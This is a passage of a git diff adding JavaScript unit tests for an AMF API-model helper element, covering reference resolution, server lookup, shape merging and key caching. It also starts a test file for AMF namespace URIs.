+          let ref = library[dKey][0];
+          if (ref instanceof Array) {
+            // eslint-disable-next-line prefer-destructuring
+            ref = ref[0];
+          }
+          const id = ref['@id'];
+          const result = element._computeType(declares, references, id);
+          assert.typeOf(result, 'object');
+          const type = element._getAmfKey(element.ns.w3.shacl.NodeShape);
+          assert.equal(result['@type'][0], type);
+        });
+
+        it('returns type in references (library) when no declarations', () => {
+          const dKey = element._getAmfKey(element.ns.aml.vocabularies.document.declares);
+          const library = references.find((unit) => unit['@type'].find((t) => t.indexOf('Module') !== -1));
+          let ref = library[dKey][0];
+          if (ref instanceof Array) {
+            // eslint-disable-next-line prefer-destructuring
+            ref = ref[0];
+          }
+          const id = ref['@id'];
+          const result = element._computeType(undefined, references, id);
+          assert.typeOf(result, 'object');
+          const type = element._getAmfKey(element.ns.w3.shacl.NodeShape);
+          assert.isTrue(result['@type'].includes(type));
+        });
+      });
+
+      describe('_getLinkTarget()', () => {
+        let schemaId;
+        let resolved;
+        before(async () => {
+          element = await modelFixture(model);
+          const declares = element._computeDeclares(model);
+          schemaId = declares[0]['@id'];
+          resolved = element._getLinkTarget(model, schemaId);
+        });
+
+        it('Computes the reference', () => {
+          assert.typeOf(resolved, 'object');
+        });
+
+        it.skip('Reference is resolved', () => {
+          const itemsKey = element._getAmfKey(element.ns.aml.vocabularies.shapes.items);
+          const nameKey = element._getAmfKey(element.ns.schema.name);
+          const shape = resolved[itemsKey][0];
+          assert.equal(shape[nameKey][0]['@value'], 'Pic');
+        });
+
+        it('Returns undefined when no amf argument', () => {
+          const result = element._getLinkTarget(undefined, undefined);
+          assert.isUndefined(result);
+        });
+
+        it('Returns undefined when no id argument', () => {
+          const result = element._getLinkTarget(model, undefined);
+          assert.isUndefined(result);
+        });
+
+        it('Returns undefined when id is not found', () => {
+          const result = element._getLinkTarget(model, 'other-test');
+          assert.isUndefined(result);
+        });
+      });
+
+      describe('_getReferenceId()', () => {
+        let refId;
+        before(async () => {
+          element = await modelFixture(model);
+          const refs = element._computeReferences(model);
+          const ref = refs.find((unit) => (unit['@type'] || []).find((t) => t.indexOf('ExternalFragment') !== -1));
+          const enc = element._computeEncodes(ref);
+          refId = enc['@id'];
+        });
+
+        it('Computes reference', () => {
+          const result = element._getReferenceId(model, refId);
+          assert.typeOf(result, 'object');
+          const type = element._getAmfKey(element.ns.raml.vocabularies.document.ExternalDomainElement);
+          assert.equal(result['@type'][0], type);
+        });
+
+        it('Returns undefined when no amf argument', () => {
+          const result = element._getReferenceId(undefined, undefined);
+          assert.isUndefined(result);
+        });
+
+        it('Returns undefined when no id argument', () => {
+          const result = element._getReferenceId(model, undefined);
+          assert.isUndefined(result);
+        });
+
+        it('Returns undefined when no references in the model', () => {
+          const result = element._getReferenceId({
+            '@id': 'amf://1',
+            '@type': ['test'],
+          }, undefined);
+          assert.isUndefined(result);
+        });
+      });
+
+      describe('_resolve()', () => {
+        let webApi;
+        before(async () => {
+          element = await modelFixture(model);
+          webApi = element._computeWebApi(model);
+        });
+
+        it('Resolves link target', () => {
+          const endpoint = element._computeEndpointByPath(webApi, '/referenceId');
+          const opKey = element._getAmfKey(element.ns.aml.vocabularies.apiContract.supportedOperation);
+          const exKey = element._getAmfKey(element.ns.aml.vocabularies.apiContract.expects);
+          const plKey = element._getAmfKey(element.ns.aml.vocabularies.apiContract.payload);
+          const scKey = element._getAmfKey(element.ns.aml.vocabularies.shapes.schema);
+          const nameKey = element._getAmfKey(element.ns.w3.shacl.name);
+          const op = element._ensureArray(endpoint[opKey])[0];
+          const expects = element._ensureArray(op[exKey])[0];
+          const payload = element._ensureArray(expects[plKey])[0];
+          const schema = element._ensureArray(payload[scKey])[0];
+          const result = element._resolve(schema);
+          assert.typeOf(result[nameKey], 'array');
+        });
+
+        it('Resolves link target for external fragment', () => {
+          const endpoint = element._computeEndpointByPath(webApi, '/external-data-type');
+          const opKey = element._getAmfKey(element.ns.aml.vocabularies.apiContract.supportedOperation);
+          const exKey = element._getAmfKey(element.ns.aml.vocabularies.apiContract.expects);
+          const plKey = element._getAmfKey(element.ns.aml.vocabularies.apiContract.payload);
+          const scKey = element._getAmfKey(element.ns.aml.vocabularies.shapes.schema);
+          const nameKey = element._getAmfKey(element.ns.w3.shacl.name);
+          const op = element._ensureArray(endpoint[opKey])[0];
+          const expects = element._ensureArray(op[exKey])[0];
+          const payload = element._ensureArray(expects[plKey])[0];
+          const schema = element._ensureArray(payload[scKey])[0];
+          const result = element._resolve(schema);
+          assert.typeOf(result[nameKey], 'array');
+        });
+      });
+
+      describe('_computeSecurityModel()', () => {
+        before(async () => {
+          element = await modelFixture(model);
+        });
+
+        it('Returns undefined when no declares', () => {
+          const result = element._computeSecurityModel(undefined, undefined);
+          assert.isUndefined(result);
+        });
+
+        it('Returns undefined when no id', () => {
+          const result = element._computeSecurityModel([], undefined);
+          assert.isUndefined(result);
+        });
+
+        it('Returns undefined when id not found', () => {
+          const result = element._computeSecurityModel([{ '@id': 'a', '@type': [] }], 'b');
+          assert.isUndefined(result);
+        });
+
+        it('Returns model for id', () => {
+          const result = element._computeSecurityModel([{ '@id': 'a', '@type': [] }], 'a');
+          assert.typeOf(result, 'object');
+        });
+      });
+
+      describe('_computeDocument()', () => {
+        let obj;
+        beforeEach(async () => {
+          element = await modelFixture(model);
+          const key = element._getAmfKey(element.ns.schema.doc);
+          obj = {};
+          obj[key] = [
+            {
+              '@id': 'a'
+            }
+          ];
+        });
+
+        it('Returns undefined when no webApi', () => {
+          const result = element._computeDocument(undefined, undefined);
+          assert.isUndefined(result);
+        });
+
+        it('Returns undefined when no id', () => {
+          const result = element._computeDocument(obj, undefined);
+          assert.isUndefined(result);
+        });
+
+        it('Returns undefined when id not found', () => {
+          const result = element._computeDocument(obj, 'b');
+          assert.isUndefined(result);
+        });
+
+        it('Returns undefined when no documents key', () => {
+          const result = element._computeDocument({
+            '@id': 'amf://1',
+            '@type': ['test'],
+          }, 'b');
+          assert.isUndefined(result);
+        });
+
+        it('Returns model for id', () => {
+          const result = element._computeDocument(obj, 'a');
+          assert.typeOf(result, 'object');
+        });
+      });
+
+      describe('_computePropertyValue()', () => {
+        before(async () => {
+          element = await modelFixture(model);
+        });
+
+        it('Returns undefined when no argument', () => {
+          const result = element._computePropertyValue(undefined);
+          assert.isUndefined(result);
+        });
+
+        it('Returns undefined when no schema in argument', () => {
+          const result = element._computePropertyValue({
+            '@id': 'amf://1',
+            '@type': ['test'],
+          });
+          assert.isUndefined(result);
+        });
+
+        it('Returns default value', () => {
+          const {ns} = element;
+          const sKey = element._getAmfKey(ns.aml.vocabularies.shapes.schema);
+          const dvKey = element._getAmfKey(ns.w3.shacl.defaultValue);
+          const obj = {
+            '@id': 'amf://1',
+            '@type': ['test'],
+          };
+          obj[sKey] = {};
+          obj[sKey][dvKey] = {
+            '@value': 'test-value'
+          };
+          const result = element._computePropertyValue(obj);
+          assert.equal(result, 'test-value');
+        });
+
+        it('Returns default value when schema is array', () => {
+          const {ns} = element;
+          const sKey = element._getAmfKey(ns.aml.vocabularies.shapes.schema);
+          const dvKey = element._getAmfKey(ns.w3.shacl.defaultValue);
+          const obj = {
+            '@id': 'amf://1',
+            '@type': ['test'],
+          };
+          obj[sKey] = [{}];
+          obj[sKey][0][dvKey] = {
+            '@value': 'test-value'
+          };
+          const result = element._computePropertyValue(obj);
+          assert.equal(result, 'test-value');
+        });
+
+        it('Returns value from example', () => {
+          const {ns} = element;
+          const sKey = element._getAmfKey(ns.aml.vocabularies.shapes.schema);
+          const exKey = element._getAmfKey(ns.aml.vocabularies.apiContract.examples);
+          const rKey = element._getAmfKey(ns.aml.vocabularies.document.raw);
+          const obj = {
+            '@id': 'amf://1',
+            '@type': ['test'],
+          };
+          obj[sKey] = [{}];
+          obj[sKey][0][exKey] = [{}];
+          obj[sKey][0][exKey][0][rKey] = [
+            {
+              '@value': 'test-value'
+            }
+          ];
+          const result = element._computePropertyValue(obj);
+          assert.equal(result, 'test-value');
+        });
+      });
+
+      describe('_computeHeaders()', () => {
+        before(async () => {
+          element = await modelFixture(model);
+        });
+
+        describe('spies', () => {
+          afterEach(() => {
+            // @ts-ignore
+            element._computePropertyArray.restore();
+          });
+
+          it('Calls _computePropertyArray() with passed shape', () => {
+            const spy = sinon.spy(element, '_computePropertyArray');
+            const shape = {
+              '@id': 'amf://1',
+              '@type': ['test'],
+            };
+            element._computeHeaders(shape);
+            assert.isTrue(spy.called);
+            assert.isTrue(spy.args[0][0] === shape);
+          });
+
+          it('Calls _computePropertyArray() with proper key', () => {
+            const spy = sinon.spy(element, '_computePropertyArray');
+            element._computeHeaders({
+              '@id': 'amf://1',
+              '@type': ['test'],
+            });
+            assert.equal(spy.args[0][1], element.ns.aml.vocabularies.apiContract.header);
+          });
+        });
+
+        it('returns header schema object for async api message', async () => {
+          element = await modelFixture(asyncModel);
+          const operation = loader.lookupOperation(asyncModel, 'hello', 'publish');
+          const eKey = element._getAmfKey(element.ns.aml.vocabularies.apiContract.expects);
+          const expects = operation[eKey];
+          assert.isDefined(element._computeHeaders(expects[0]));
+        });
+      });
+
+      describe('_computeQueryParameters()', () => {
+        before(async () => {
+          element = await modelFixture(model);
+        });
+
+        afterEach(() => {
+          // @ts-ignore
+          element._computePropertyArray.restore();
+        });
+
+        it('Calls _computePropertyArray() with passed shape', () => {
+          const spy = sinon.spy(element, '_computePropertyArray');
+          const shape = {
+            '@id': 'amf://1',
+            '@type': ['test'],
+          };
+          element._computeQueryParameters(shape);
+          assert.isTrue(spy.called);
+          assert.isTrue(spy.args[0][0] === shape);
+        });
+
+        it('Calls _computePropertyArray() with proper key', () => {
+          const spy = sinon.spy(element, '_computePropertyArray');
+          element._computeQueryParameters({
+            '@id': 'amf://1',
+            '@type': ['test'],
+          });
+          assert.equal(spy.args[0][1], element.ns.aml.vocabularies.apiContract.parameter);
+        });
+      });
+
+      describe('_computeResponses()', () => {
+        before(async () => {
+          element = await modelFixture(model);
+        });
+
+        afterEach(() => {
+          // @ts-ignore
+          element._computePropertyArray.restore();
+        });
+
+        it('Calls _computePropertyArray() with passed shape', () => {
+          const spy = sinon.spy(element, '_computePropertyArray');
+          const shape = /** @type Operation */ ({});
+          element._computeResponses(shape);
+          assert.isTrue(spy.called);
+          assert.isTrue(spy.args[0][0] === shape);
+        });
+
+        it('Calls _computePropertyArray() with proper key', () => {
+          const spy = sinon.spy(element, '_computePropertyArray');
+          // @ts-ignore
+          element._computeResponses({});
+          assert.equal(spy.args[0][1], element.ns.aml.vocabularies.apiContract.response);
+        });
+      });
+
+      describe('_computeServerVariables()', () => {
+        before(async () => {
+          element = await modelFixture(model);
+        });
+
+        afterEach(() => {
+          // @ts-ignore
+          element._computePropertyArray.restore();
+        });
+
+        it('Calls _computePropertyArray() with passed shape', () => {
+          const spy = sinon.spy(element, '_computePropertyArray');
+          const shape = {
+            '@id': 'amf://1',
+            '@type': ['test'],
+          };
+          element._computeServerVariables(shape);
+          assert.isTrue(spy.called);
+          assert.isTrue(spy.args[0][0] === shape);
+        });
+
+        it('Calls _computePropertyArray() with proper key', () => {
+          const spy = sinon.spy(element, '_computePropertyArray');
+          element._computeServerVariables({
+            '@id': 'amf://1',
+            '@type': ['test'],
+          });
+          assert.equal(spy.args[0][1], element.ns.raml.vocabularies.apiContract.variable);
+        });
+      });
+
+      describe('_computeServerVariables()', () => {
+        before(async () => {
+          element = await modelFixture(model);
+        });
+
+        afterEach(() => {
+          // @ts-ignore
+          element._computePropertyArray.restore();
+        });
+
+        it('Calls _computePropertyArray() with passed shape', () => {
+          const spy = sinon.spy(element, '_computePropertyArray');
+          const shape = {
+            '@id': 'amf://1',
+            '@type': ['test'],
+          };
+          element._computeServerVariables(shape);
+          assert.isTrue(spy.called);
+          assert.isTrue(spy.args[0][0] === shape);
+        });
+
+        it('Calls _computePropertyArray() with proper key', () => {
+          const spy = sinon.spy(element, '_computePropertyArray');
+          element._computeServerVariables({
+            '@id': 'amf://1',
+            '@type': ['test'],
+          });
+          assert.equal(spy.args[0][1], element.ns.raml.vocabularies.apiContract.variable);
+        });
+      });
+
+      describe('_computeEndpointVariables()', () => {
+        before(async () => {
+          element = await modelFixture(model);
+        });
+
+        afterEach(() => {
+          // @ts-ignore
+          element._computeQueryParameters.restore();
+        });
+
+        it('Calls _computeQueryParameters() with passed shape', () => {
+          const spy = sinon.spy(element, '_computeQueryParameters');
+          const shape = {
+            '@id': 'amf://1',
+            '@type': ['test'],
+          };
+          element._computeEndpointVariables(shape);
+          assert.isTrue(spy.called);
+          assert.isTrue(spy.args[0][0] === shape);
+        });
+      });
+
+      describe('_computePayload()', () => {
+        before(async () => {
+          element = await modelFixture(model);
+        });
+
+        afterEach(() => {
+          // @ts-ignore
+          element._computePropertyArray.restore();
+        });
+
+        it('Calls _computePropertyArray() with passed shape', () => {
+          const spy = sinon.spy(element, '_computePropertyArray');
+          const shape = {
+            '@id': 'amf://1',
+            '@type': ['test'],
+          };
+          element._computePayload(shape);
+          assert.isTrue(spy.called);
+          assert.isTrue(spy.args[0][0] === shape);
+        });
+
+        it('Calls _computePropertyArray() with proper key', () => {
+          const spy = sinon.spy(element, '_computePropertyArray');
+          element._computePayload({
+            '@id': 'amf://1',
+            '@type': ['test'],
+          });
+          assert.equal(spy.args[0][1], element.ns.raml.vocabularies.apiContract.payload);
+        });
+      });
+
+      describe('_computeReturns()', () => {
+        before(async () => {
+          element = await modelFixture(model);
+        });
+
+        afterEach(() => {
+          // @ts-ignore
+          element._computePropertyArray.restore();
+        });
+
+        it('Calls _computePropertyArray() with passed shape', () => {
+          const spy = sinon.spy(element, '_computePropertyArray');
+          const method = /** @type Operation */ ({});
+          element._computeReturns(method);
+          assert.isTrue(spy.called);
+          assert.isTrue(spy.args[0][0] === method);
+        });
+
+        it('Calls _computePropertyArray() with proper key', () => {
+          const spy = sinon.spy(element, '_computePropertyArray');
+          element._computeReturns(/** @type Operation */ ({}));
+          assert.equal(spy.args[0][1], element.ns.aml.vocabularies.apiContract.returns);
+        });
+      });
+
+      describe('_computeSecurity()', () => {
+        before(async () => {
+          element = await modelFixture(model);
+        });
+
+        afterEach(() => {
+          // @ts-ignore
+          element._computePropertyArray.restore();
+        });
+
+        it('Calls _computePropertyArray() with passed shape', () => {
+          const spy = sinon.spy(element, '_computePropertyArray');
+          const method = /** @type Operation */ ({});
+          element._computeSecurity(method);
+          assert.isTrue(spy.called);
+          assert.isTrue(spy.args[0][0] === method);
+        });
+
+        it('Calls _computePropertyArray() with proper key', () => {
+          const spy = sinon.spy(element, '_computePropertyArray');
+          element._computeSecurity(/** @type Operation */ ({}));
+          assert.equal(spy.args[0][1], element.ns.aml.vocabularies.security.security);
+        });
+      });
+
+      describe('_computeHasCustomProperties()', () => {
+        before(async () => {
+          element = await modelFixture(model);
+        });
+
+        afterEach(() => {
+          // @ts-ignore
+          element._hasProperty.restore();
+        });
+
+        it('Calls _hasProperty() with passed shape', () => {
+          const spy = sinon.spy(element, '_hasProperty');
+          const shape = {
+            '@id': 'amf://1',
+            '@type': ['test'],
+          };
+          element._computeHasCustomProperties(shape);
+          assert.isTrue(spy.called);
+          assert.isTrue(spy.args[0][0] === shape);
+        });
+
+        it('Calls _hasProperty() with proper key', () => {
+          const spy = sinon.spy(element, '_hasProperty');
+          element._computeHasCustomProperties({
+            '@id': 'amf://1',
+            '@type': ['test'],
+          });
+          assert.equal(spy.args[0][1], element.ns.aml.vocabularies.document.customDomainProperties);
+        });
+      });
+
+      describe('_computeApiVersion()', () => {
+        before(async () => {
+          element = await modelFixture(model);
+        });
+
+        it('Computes version of the API', () => {
+          const result = element._computeApiVersion(model);
+          assert.equal(result, 'v2');
+        });
+
+        it('Returns undefined when no WebApi', () => {
+          const result = element._computeApiVersion({
+            '@id': 'amf://1',
+            '@type': ['test'],
+          });
+          assert.isUndefined(result);
+        });
+      });
+
+      describe('_ensureArray()', () => {
+        before(async () => {
+          element = await modelFixture(model);
+        });
+
+        it('Returns undefined when no argument', () => {
+          const result = element._ensureArray(undefined);
+          assert.isUndefined(result);
+        });
+
+        it('Returns the same array', () => {
+          const arr = ['a'];
+          const result = element._ensureArray(arr);
+          // @ts-ignore
+          assert.isTrue(result === arr);
+        });
+
+        it('Returns array value from not array argument', () => {
+          const arr = 'a';
+          const result = element._ensureArray(arr);
+          assert.deepEqual(result, ['a']);
+        });
+      });
+
+      describe('_findById()', () => {
+        before(async () => {
+          element = await modelFixture(model);
+        });
+
+        it('Returns undefined when no argument', () => {
+          const result = element._findById(undefined, undefined);
+          assert.isUndefined(result);
+        });
+
+        it('Returns undefined when array does not contain id', () => {
+          const arr = [{ '@id': '1', '@type': ['test']}, { '@id': '2', '@type': ['test'] }, { '@id': '3', '@type': ['test'] },];
+          const result = element._findById(arr, '0');
+          assert.isUndefined(result);
+        });
+
+        it('Returns object when array contains id', () => {
+          const arr = [{ '@id': '1', '@type': ['test'] },{ '@id': '2', '@type': ['test'] },{ '@id': '3', '@type': ['test'] },];
+          const result = element._findById(arr, '1');
+          assert.deepEqual(result, { '@id': '1', '@type': ['test'] });
+        });
+      });
+
+			describe('_isValidServerPartial()', () => {
+				describe('with mock objects', () => {
+					describe('not in arrays', () =>{
+						it('should return true for endpoint type', () => {
+							const endpointKey = element._getAmfKey(element.ns.aml.vocabularies.apiContract.EndPoint);
+							const shape = { '@type': [endpointKey] };
+							assert.isTrue(element._isValidServerPartial(shape));
+						});
+
+						it('should return true for method type', () => {
+							const methodKey = element._getAmfKey(element.ns.aml.vocabularies.apiContract.Operation);
+							const shape = { '@type': [methodKey] };
+							assert.isTrue(element._isValidServerPartial(shape));
+						});
+
+						it('should return false for any other type', () => {
+							const otherKey = element._getAmfKey(element.ns.aml.vocabularies.apiContract.WebAPI);
+							const shape = { '@type': [otherKey] };
+							assert.isFalse(element._isValidServerPartial(shape));
+						});
+					});
+					describe('in arrays', () =>{
+						it('should return true for endpoint type', () => {
+							const endpointKey = element._getAmfKey(element.ns.aml.vocabularies.apiContract.EndPoint);
+							const shape = { '@type': [endpointKey] };
+							assert.isTrue(element._isValidServerPartial([shape]));
+						});
+
+						it('should return true for method type', () => {
+							const methodKey = element._getAmfKey(element.ns.aml.vocabularies.apiContract.Operation);
+							const shape = { '@type': [methodKey] };
+							assert.isTrue(element._isValidServerPartial([shape]));
+						});
+
+						it('should return false for any other type', () => {
+							const otherKey = element._getAmfKey(element.ns.aml.vocabularies.apiContract.WebAPI);
+							const shape = { '@type': [otherKey] };
+							assert.isFalse(element._isValidServerPartial([shape]));
+						});
+					})
+				});
+
+				describe('with real nodes', () => {
+					it('should return true for endpoint type', () => {
+						const endpoint = loader.lookupEndpoint(model, '/files');
+						assert.isTrue(element._isValidServerPartial(endpoint));
+					});
+
+					it('should return true for method type', () => {
+						const method = loader.lookupOperation(model, '/files', 'get');
+						assert.isTrue(element._isValidServerPartial(method));
+					});
+
+					it('should return false for any other type', () => {
+						assert.isFalse(element._isValidServerPartial(model));
+					});
+				})
+			});
+
+
+      describe('_mergeShapes()', () => {
+        let sourcesKey;
+
+        before(async () => {
+          element = await modelFixture(model);
+          sourcesKey = element._getAmfKey(element.ns.aml.vocabularies.docSourceMaps.sources);
+        });
+
+        it('should merge two objects together', () => {
+          const a = { foo: 'foo', a: 1 };
+          const b = { bar: 'bar', a: 2, b: 3 };
+          const merged = element._mergeShapes(a, b);
+          assert.deepEqual(merged, { foo: 'foo', bar: 'bar', a: 2, b: 3 });
+        });
+
+        it('should merge sources from both nodes', () => {
+          const a = { foo: 'foo', a: 1, [sourcesKey]: [{ s1: 1, s2: 2 }] };
+          const b = { bar: 'bar', a: 2, b: 3, [sourcesKey]: [{ s2: 20, s3: 30 }] };
+          const merged = element._mergeShapes(a, b);
+          assert.deepEqual(merged, {
+            foo: 'foo',
+            bar: 'bar',
+            a: 2,
+            b: 3,
+            [sourcesKey]: [{ s1: 1, s2: 20, s3: 30 }]
+          });
+        });
+
+        describe('special merges', () => {
+          describe('_mergeSourceMapsSources()', () => {
+            before(async () => {
+              element = await modelFixture(model)
+            })
+
+            it('should merge sources from both nodes', () => {
+              const a = { foo: 'foo', a: 1, [sourcesKey]: [{ s1: 1, s2: 2 }] };
+              const b = { bar: 'bar', a: 2, b: 3, [sourcesKey]: [{ s2: 20, s3: 30 }] };
+              const result = element._mergeSourceMapsSources(a, b);
+              assert.deepEqual(result, [{ s1: 1, s2: 20, s3: 30 }]);
+            });
+
+            it('should merge nodes when only A has sources', () => {
+              const a = { foo: 'foo', a: 1, [sourcesKey]: [{ s2: 20, s3: 30 }] };
+              const b = { bar: 'bar', a: 2, b: 3 };
+              const merged = element._mergeSourceMapsSources(a, b);
+              assert.deepEqual(merged, [{ s2: 20, s3: 30 }]);
+            });
+
+            it('should merge nodes when only B has sources', () => {
+              const a = { foo: 'foo', a: 1 };
+              const b = { bar: 'bar', a: 2, b: 3, [sourcesKey]: [{ s2: 20, s3: 30 }] };
+              const merged = element._mergeSourceMapsSources(a, b);
+              assert.deepEqual(merged, [{ s2: 20, s3: 30 }]);
+            });
+
+
+            it('should return empty object when neither node has sources', () => {
+              const a = { foo: 'foo', a: 1 };
+              const b = { bar: 'bar', a: 2, b: 3 };
+              const merged = element._mergeSourceMapsSources(a, b);
+              assert.deepEqual(merged, [{}]);
+            });
+          });
+        });
+      });
+
+      // Keys caching is only enabled for compact model that requires additional
+      // computations.
+      (compact ? describe : describe.skip)('keys computation caching', () => {
+        before(async () => {
+          element = await modelFixture(model);
+        });
+
+        it('caches a key value', () => {
+          const prop = element.ns.aml.vocabularies.document.encodes;
+          const key = element._getAmfKey(prop);
+          // @ts-ignore
+          assert.equal(element.__cachedKeys[prop], key);
+        });
+
+        it('returns the same value', () => {
+          const prop = element.ns.aml.vocabularies.document.encodes;
+          const key1 = element._getAmfKey(prop);
+          const key2 = element._getAmfKey(prop);
+          assert.equal(key1, key2);
+        });
+
+        it('uses cached value', () => {
+          const prop = element.ns.aml.vocabularies.document.encodes;
+          element._getAmfKey(prop);
+          // @ts-ignore
+          element.__cachedKeys[prop] = 'test';
+          const key = element._getAmfKey(prop);
+          assert.equal(key, 'test');
+        });
+
+        it('resets cache when AMF changes', () => {
+          const prop = element.ns.aml.vocabularies.document.encodes;
+          element._getAmfKey(prop);
+          element.amf = undefined;
+          // @ts-ignore
+          assert.deepEqual(element.__cachedKeys, {});
+        });
+      });
+    });
+
+    describe(compact ? 'Compact model' : 'Full model', () => {
+      describe('_getServers()', () => {
+        describe('RAML', () => {
+          let model;
+          before(async () => {
+            model = await loader.getGraph(compact, 'amf-helper-api');
+          });
+
+          let element = /** @type TestElement */ (null);
+          beforeEach(async () => {
+            element = await modelFixture(model);
+          });
+
+          describe('root level', () => {
+            it('Returns all servers', () => {
+              const servers = element._getServers({});
+              assert.typeOf(servers, 'array');
+              assert.lengthOf(servers, 1);
+            });
+          });
+        });
+  
+        describe('OAS', () => {
+          let methodId;
+          // TODO uncomment this once AMF model has resolved servers on all levels
+          // const endpointId = `${compact ? '' : 'amf://id'}#22`;
+
+          let model;
+          before(async () => {
+            model = await loader.getGraph(compact, 'multiple-servers');
+            methodId = loader.lookupOperation(model, '/pets', 'get')['@id'];
+          });
+          
+          describe('for operation', () => {
+            let element = /** @type TestElement */ (null);
+            beforeEach(async () => {
+              element = await modelFixture(model);
+            });
+  
+            it('Returns all servers for method', () => {
+              const servers = element._getServers({ methodId });
+              assert.typeOf(servers, 'array');
+              assert.lengthOf(servers, 2);
+            });
+  
+            it('Returns all root servers if method not found and endpoint undefined', () => {
+              const servers = element._getServers({ methodId: 'foo' });
+              assert.typeOf(servers, 'array');
+              assert.lengthOf(servers, 2);
+            });
+  
+            // TODO uncomment this once AMF model has resolved servers on all levels
+            /* it('Returns all endpoint servers if method not found and endpoint is defined', () => {
+              const servers = element._getServers({ model, methodId: 'foo', endpointId });
+              assert.typeOf(servers, 'array');
+              assert.lengthOf(servers, 2);
+            }); */
+  
+            it('Returns undefined if no model', async () => {
+              element = await modelFixture();
+              assert.isUndefined(element._getServers({}));
+            });
+  
+            it('Returns all method servers for partial model', () => {
+              const operation = { ...loader.lookupOperation(model, '/pets', 'get') };
+              operation['@context'] = model['@context'];
+              element.amf = operation;
+              const servers = element._getServers({ methodId });
+              assert.typeOf(servers, 'array');
+              assert.lengthOf(servers, 2);
+            });
+          });
+        });
+      });
+  
+      describe('_getServer()', () => {
+        describe('RAML', () => {
+          /** @type TestElement */
+          let element;
+          let model;
+          before(async () => {
+            model = await loader.getGraph(compact, 'amf-helper-api');
+          });
+
+          beforeEach(async () => {
+            element = await modelFixture(model);
+          });
+  
+          describe('root level', () => {
+            it('Returns no servers if id undefined', () => {
+              const servers = element._getServer({});
+              assert.typeOf(servers, 'array');
+              assert.lengthOf(servers, 0);
+            });
+  
+            it('Returns all matching servers if id is defined', () => {
+              const id = element._getServers({})[0]['@id'];
+              const servers = element._getServer({ id });
+              assert.typeOf(servers, 'array');
+              assert.lengthOf(servers, 1);
+            });
+  
+            it('Returns [] if no matching id', () => {
+              const servers = element._getServer({ id: 'foo' });
+              assert.typeOf(servers, 'array');
+              assert.lengthOf(servers, 0);
+            });
+          });
+        });
+  
+        describe('OAS', () => {
+          let methodId;
+          /** @type TestElement */
+          let element;
+          let model;
+          before(async () => {
+            model = await loader.getGraph(compact, 'multiple-servers');
+            const method = loader.lookupOperation(model, '/pets', 'get');
+            methodId = method['@id'];
+          });
+
+          beforeEach(async () => {
+            element = await modelFixture(model);
+          });
+  
+          describe('operation', () => {
+            it('Returns no servers if id undefined', () => {
+              const servers = element._getServer({ methodId });
+              assert.typeOf(servers, 'array');
+              assert.lengthOf(servers, 0);
+            });
+  
+            it('Returns all matching servers if id is defined', () => {
+              const id = element._getServers({})[0]['@id'];
+              const servers = element._getServer({ methodId, id });
+              assert.typeOf(servers, 'array');
+              assert.lengthOf(servers, 1);
+            });
+          });
+        });
+      });
+  
+      describe('Expander', async () => {
+        /** @type TestElement */
+        let element;
+        const flattenedApi = 'flattened-api'
+        const expandedApi = 'expanded-api'
+        let flattenedModel;
+        let expandedModel;
+  
+        before(async () => {
+          flattenedModel = await loader.getGraph(compact, flattenedApi);
+          expandedModel = await loader.getGraph(compact, expandedApi);
+        });
+  
+        beforeEach(async () => {
+          element = await basicFixture();
+        });
+  
+        it('should not call __amfChanged again if same flattened model is set', async () => {
+          element.amf = flattenedModel;
+          await nextFrame();
+          const spy = sinon.spy(element, '__amfChanged');
+          element.amf = flattenedModel;
+          await nextFrame();
+          assert.isTrue(spy.notCalled);
+        });
+  
+        it('should create same object for flattened as original expanded', async () => {
+          const expandedElement = await modelFixture(expandedModel);
+          element.amf = flattenedModel;
+          await nextFrame();
+          assert.deepEqual(element.amf[0], expandedElement.amf)
+        });
+      });
+    });
+  });
+});
diff --git a/test/helpers/Namepsace.test.js b/test/helpers/Namepsace.test.js
new file mode 100644
index 0000000..b9f3fce
--- /dev/null
+++ b/test/helpers/Namepsace.test.js
@@ -0,0 +1,546 @@
+import { assert } from '@open-wc/testing';
+import { ns } from '../../src/helpers/Namespace.js';
+
+describe('Namespace', () => {
+  describe('AMF keys namespace', () => {
+    it('namespace has all keys', () => {
+      const keys = Object.keys(ns);
+      const compare = ['aml', 'raml', 'w3', 'schema'];
+      assert.deepEqual(keys, compare);
+    });
+
+    it('aml properties are set', () => {
+      const r = ns.aml;
+      assert.equal(r.key, 'http://a.ml/');
+      assert.typeOf(r.vocabularies, 'object');
+    });
+
+    it('aml cannot be changed', () => {
+      assert.throws(() => {
+        // @ts-ignore
+        ns.aml = 'test';
+      });
+    });
+
+    it('raml property is amf', () => {
+      const r = ns.raml;
+      const a = ns.aml;
+      assert.equal(r, a);
+    });
+
+    it('aml.vocabularies properties are set', () => {
+      const v = ns.aml.vocabularies;
+      const key = 'http://a.ml/vocabularies/';
+      assert.equal(v.key, key, 'key is set');
+      assert.typeOf(v.document, 'object', 'document is set');
+      assert.equal(v.document.toString(), `${key}document#`, 'document namespace as string is the key');
+      assert.equal(v.document.key, `${key}document#`, 'document key is set');
+      assert.typeOf(v.core, 'object', 'core is set');
+      assert.equal(v.core.toString(), `${key}core#`, 'core namespace as string is the key');
+      assert.equal(v.core.key, `${key}core#`, 'core key is set');
+      assert.typeOf(v.apiContract, 'object', 'apiContract is set');
+      assert.equal(v.apiContract.toString(), `${key}apiContract#`, 'apiContract namespace as string is the key');
+      assert.equal(v.apiContract.key, `${key}apiContract#`, 'apiContract.key is set');
+      assert.typeOf(v.security, 'object', 'security is set');
+      assert.equal(v.security.toString(), `${key}security#`, 'security namespace as string is the key');
+      assert.equal(v.security.key, `${key}security#`, 'security.key is set');
+      assert.typeOf(v.shapes, 'object', 'shapes is set');
+      assert.equal(v.shapes.toString(), `${key}shapes#`, 'shapes namespace as string is the key');
+      assert.equal(v.shapes.key, `${key}shapes#`, 'shapes.key is set');
+      assert.typeOf(v.data, 'object', 'data is set');
+      assert.equal(v.data.toString(), `${key}data#`, 'data namespace as string is the key');
+      assert.equal(v.data.key, `${key}data#`, 'data.key is set');
+    });
+
+    it('vocabularies cannot be changed', () => {
+      assert.throws(() => {
+        // @ts-ignore
+        ns.aml.vocabularies = 'test';
+      });
+    });
+
+    it('w3 properties are set', () => {
+      const r = ns.w3;
+      const {key} = r;
+      assert.equal(r.key, 'http://www.w3.org/', 'key is set');
+      assert.typeOf(r.rdfSyntax, 'object', 'rdfSyntax is set');
+      assert.equal(r.rdfSyntax.toString(), `${key}1999/02/22-rdf-syntax-ns#`, 'rdfSyntax namespace as string is the key');
+      assert.equal(r.rdfSyntax.key, `${key}1999/02/22-rdf-syntax-ns#`, 'rdfSyntax.key is set');
+      assert.typeOf(r.rdfSchema, 'object', 'rdfSchema is set');
